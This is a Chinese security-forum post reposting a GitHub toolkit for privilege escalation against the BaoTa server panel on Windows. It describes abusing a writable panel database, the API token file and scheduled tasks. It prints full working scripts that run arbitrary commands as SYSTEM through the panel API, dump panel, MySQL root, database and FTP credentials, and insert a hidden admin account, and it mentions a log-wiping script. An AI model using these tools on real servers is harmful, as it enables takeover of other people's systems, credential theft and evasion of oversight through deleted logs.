安全矩阵

 找回密码
 立即注册
搜索
查看: 7540|回复: 0

干货 | 宝塔面板Windows提权方法

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-26 22:40:03 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2021-1-26 22:41 编辑

原文链接:干货 | 宝塔面板Windows提权方法


本项目整理一些宝塔特性,可以在无漏洞的情况下利用这些特性来增加提权的机会。

项目地址:https://github.com/Hzllaga/BT_Panel_Privilege_Escalation
记得点个Star!

Table of Contents
  • 宝塔面板Windows提权方法
    • 写数据库提权
    • API提权
    • 计划任务提权
  • 自动化测试
写数据库提权
宝塔面板在2008安装的时候默认www用户是可以对宝塔面板的数据库有完全控制权限的:
  1. powershell -Command "get-acl C:\BtSoft\panel\data\default.db | format-list"
复制代码



对于这种情况可以直接往数据库写一个面板的账号直接获取到面板权限,而在2016安装默认是User权限可读不可写

这种情况可以从里面读取一些敏感信息,比如mysql的root密码,而一般这个配置的不会只有这个文件可读,可以使用其他方法。
盐: [A-Za-z0-9]{12}
密码: md5(md5(md5(password) + '_bt.cn') + salt)
可以直接使用bt_panel_script.py,脚本会自动新建一个账号。
API提权
宝塔面板支持API操作的,token在C:\BtSoft\panel\config\api.json,用这个方法提权还可以无视入口校验,比如有一个未授权访问的redis是system权限,就可以直接往这个文件覆盖token直接接管面板,或是利用FileZilla(windows面板默认ftp软件就是FileZilla + 空密码)新建一个C盘权限的账号,也可以去修改那个文件来提权。
API Token: md5(string)
api.json

  1. {"open": true, "token": "API Token", "limit_addr": ["你的IP"]}
复制代码
请求时加上(multipart/form-data):

  1. request_token = md5(timestamp + token)
  2. request_time = timestamp
复制代码

可以直接使用bt_panel_api.py,脚本会自动使用计划任务运行命令,如果面板原本就有配置好API了,并且IP限制127.0.0.1,那么就可以直接端口转发出来直接用脚本提权。


计划任务提权
基本上场景同API提权,可以去修改计划任务文件(比如网站备份),默认是在凌晨1:30执行,权限也是system。
  1. 路径: C:/BtSoft/cron/
复制代码

有些面板API会无法登陆,就只能利用计划任务来提权了,缺点是路径不固定,且执行时间也不固定。
自动化测试
  1. python3 .\bt_panel_script.py
复制代码

使用此脚本可以全自动获取宝塔相关信息,python可以直接用宝塔的,不用担心没环境。


python3 .\bt_panel_api.py -g

这个脚本可以生成api示例,把生成的json替换到指定文件后就能提权。

python3 .\bt_panel_api.py -u "http://192.168.101.5:8888/" -t "085bd64a698cf601ae472425656b2346" -c whoami

python3 .\bt_panel_log_delete.py
这个脚本可以自动清理面板日志

脚本源码,也可以在github地址下载

bt_panel_api.py
  1. import requests
  2. import argparse
  3. import hashlib
  4. import json
  5. import time
  6. import cowsay


  7. def md5(string):
  8.     return hashlib.md5(string.encode()).hexdigest()


  9. def get_random_string(length):
  10.     from random import Random
  11.     strings = ''
  12.     chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
  13.     char_len = len(chars) - 1
  14.     random = Random()
  15.     for i in range(length):
  16.         strings += chars[random.randint(0, char_len)]
  17.     return strings


  18. def get_ip():
  19.     return requests.get(url='https://ifconfig.me/ip').text


  20. def generate_example_config():
  21.     token = md5(get_random_string(10))
  22.     payload = {
  23.         'open': True,
  24.         'token': token,
  25.         'limit_addr': [get_ip()]
  26.     }
  27.     print(json.dumps(payload))
  28.     print('请保存在目标C:\\BtSoft\\panel\\config\\api.json')
  29.     print(f"Usage: python bt_panel_api.py -u [URL] -t {token} -c whoami")


  30. def exploit(url, token, cmd):
  31.     # api sk
  32.     timestamp = int(time.time())
  33.     token = md5(str(timestamp) + token)
  34.     api_sk = {
  35.         'request_token': (None, f'{token}'),
  36.         'request_time': (None, f'{timestamp}'),
  37.     }
  38.     crontab_name = get_random_string(10)
  39.     # Add a crontab
  40.     payload = {
  41.         'sType': (None, 'toShell'),
  42.         'name': (None, f'{crontab_name}'),
  43.         'type': (None, 'day'),
  44.         'hour': (None, '1'),
  45.         'minute': (None, '30'),
  46.         'sBody': (None, f'{cmd}'),
  47.         'sName': (None, ''),
  48.         'save': (None, ''),
  49.         'backupTo': (None, 'localhost'),
  50.     }
  51.     payload.update(api_sk)
  52.     requests.post(url=f'{url}/crontab?action=AddCrontab', files=payload)

  53.     # Get crontab list
  54.     payload = {
  55.         'page': (None, '1'),
  56.         'search': (None, ''),
  57.     }
  58.     payload.update(api_sk)
  59.     crontab = json.loads(requests.post(url=f'{url}/crontab?action=GetCrontab', files=payload).text)

  60.     # Start crontab
  61.     payload = {
  62.         # 新添加的会在第一条
  63.         'id': (None, f"{crontab[0]['id']}"),
  64.     }
  65.     payload.update(api_sk)
  66.     requests.post(url=f'{url}/crontab?action=StartTask', files=payload)

  67.     # Waiting for execution
  68.     time.sleep(3)

  69.     # Read the crontab log
  70.     log = json.loads(requests.post(url=f'{url}/crontab?action=GetLogs', files=payload).text)
  71.     print(log['msg'])

  72.     # Delete crontab
  73.     requests.post(url=f'{url}/crontab?action=DelCrontab', files=payload)


  74. if __name__ == '__main__':
  75.     cowsay.cow('BaoTa Panel Privilege escalation tool\nAuthor: https://github.com/Hzllaga')
  76.     parser = argparse.ArgumentParser()
  77.     parser.add_argument("-g", "--generate", action="store_true", help='生成一个api示例.')
  78.     parser.add_argument("-u", "--url", help='宝塔地址.')
  79.     parser.add_argument("-t", "--token", help='API token.')
  80.     parser.add_argument("-c", "--command", help='要执行的命令.')
  81.     args = parser.parse_args()
  82.     if args.generate:
  83.         generate_example_config()
  84.     else:
  85.         if (args.url is not None) & (args.token is not None) & (args.command is not None):
  86.             exploit(url=args.url, token=args.token, cmd=args.command)
  87.         else:
  88.             print('缺少参数')
复制代码

bt_panel_script.py
  1. # -*- coding:utf-8 -*-
  2. import sqlite3


  3. class BT:
  4.     def __init__(self):
  5.         self.conn = sqlite3.connect('C:/BtSoft/panel/data/default.db')
  6.         self.c = self.conn.cursor()

  7.     @staticmethod
  8.     def read_file(path):
  9.         with open(path, 'r') as file:
  10.             return file.read()

  11.     @staticmethod
  12.     def get_random_string(length):
  13.         from random import Random
  14.         strings = ''
  15.         chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
  16.         char_len = len(chars) - 1
  17.         random = Random()
  18.         for i in range(length):
  19.             strings += chars[random.randint(0, char_len)]
  20.         return strings

  21.     @staticmethod
  22.     def md5(string):
  23.         import hashlib
  24.         return hashlib.md5(string.encode()).hexdigest()

  25.     def hash_password(self, password, salt):
  26.         return self.md5(self.md5(self.md5(password) + '_bt.cn') + salt)

  27.     def get_panel_path(self):
  28.         return self.read_file('C:/BtSoft/panel/data/admin_path.pl')

  29.     def get_default_username(self):
  30.         cursor = self.c.execute('select username from users where id=1')
  31.         return cursor.fetchone()[0]

  32.     def get_default_password(self):
  33.         return self.read_file('C:/BtSoft/panel/data/default.pl')

  34.     def get_all_user(self):
  35.         cursor = self.c.execute('select username, password, salt from users')
  36.         return cursor.fetchall()

  37.     def get_api_information(self):
  38.         import json
  39.         api_data = json.loads(self.read_file('C:/BtSoft/panel/config/api.json'))
  40.         if api_data['open']:
  41.             token = api_data['token']
  42.             limit_ip = api_data['limit_addr']
  43.             return f'Token: {token}, 限制IP: {limit_ip}'
  44.         else:
  45.             return '未开启api'

  46.     def get_mysql_root_password(self):
  47.         cursor = self.c.execute('select mysql_root from config')
  48.         return cursor.fetchone()[0]

  49.     def insert_panel_user(self, username, password, salt):
  50.         password = self.hash_password(password, salt)
  51.         try:
  52.             sql = f"INSERT INTO users (username,password,salt,email) VALUES ('{username}', '{password}', '{salt}', 'admin@qq.com')"
  53.             self.c.execute(sql)
  54.             self.conn.commit()
  55.             return '写入成功!'
  56.         except sqlite3.OperationalError:
  57.             return '写入失败。'

  58.     def get_database_users(self):
  59.         cursor = self.c.execute('select name, username, password, type from databases')
  60.         return cursor.fetchall()

  61.     def get_ftp_users(self):
  62.         cursor = self.c.execute('select name, password from ftps')
  63.         return cursor.fetchall()

  64.     def get_filezilla_interface(self):
  65.         from xml.etree.ElementTree import fromstring
  66.         ftp_xml = ''
  67.         try:
  68.             ftp_xml = self.read_file('C:/BtSoft/ftpServer/FileZilla Server Interface.xml')
  69.             root = fromstring(ftp_xml)
  70.             server = root.findall('./Settings/Item[@name="Last Server Address"]')[0].text
  71.             port = root.findall('./Settings/Item[@name="Last Server Port"]')[0].text
  72.             password = root.findall('./Settings/Item[@name="Last Server Password"]')[0].text
  73.             return f'已安装!\n{server}:{port} 密码: {password}'
  74.         except FileNotFoundError:
  75.             return '未安装Filezilla'


  76. def banner():
  77.     print('''  _____________________________________
  78. / BaoTa Panel Privilege escalation tool \\
  79. \\ Author: https://github.com/Hzllaga    /
  80.   -------------------------------------
  81.          \\   ^__^
  82.           \\  (oo)\\_______
  83.              (__)\\       )\\/\\
  84.                  ||----w |
  85.                  ||     ||
  86.     ''')


  87. if __name__ == '__main__':
  88.     banner()
  89.     bt = BT()
  90.     print('===========================================')
  91.     print(f'登录位置: {bt.get_panel_path()}')
  92.     print(f'默认账号: {bt.get_default_username()}')
  93.     print(f'默认密码: {bt.get_default_password()}')
  94.     print()
  95.     salt = bt.get_random_string(12)
  96.     username = bt.get_random_string(6)
  97.     password = bt.get_random_string(10)
  98.     print(f'尝试写入 账号:{username} 密码:{password} 的面板用户:')
  99.     print(f'{bt.insert_panel_user(username, password, salt)}')
  100.     print('===========================================')
  101.     print('面板用户信息:')
  102.     for user in bt.get_all_user():
  103.         print(f'账号: {user[0]}, 密码: {user[1]}, 盐: {user[2]}')
  104.     print('===========================================')
  105.     print('面板API状态:')
  106.     print(f'{bt.get_api_information()}')
  107.     print('如果已开启且限制IP为服务器IP可以端口转发直接秒!')
  108.     print('===========================================')
  109.     print(f'MySQL root密码: {bt.get_mysql_root_password()}')
  110.     print('===========================================')
  111.     print('数据库用户信息:')
  112.     for db_user in bt.get_database_users():
  113.         print(f'库名: {db_user[0]}, 用户: {db_user[1]}, 密码: {db_user[2]}, 类型: {db_user[3]}')
  114.     print('===========================================')
  115.     print('FTP用户信息:')
  116.     for ftp_user in bt.get_ftp_users():
  117.         print(f'用户: {ftp_user[0]}, 密码: {ftp_user[1]}')
  118.     print('===========================================')
  119.     print('Filezilla Interface配置信息:')
  120.     print(f'{bt.get_filezilla_interface()}')
  121.     print('如果已安装可以通过API或计划任务直接秒!')
  122.     print('===========================================')
复制代码



















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 20:45 , Processed in 0.013189 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表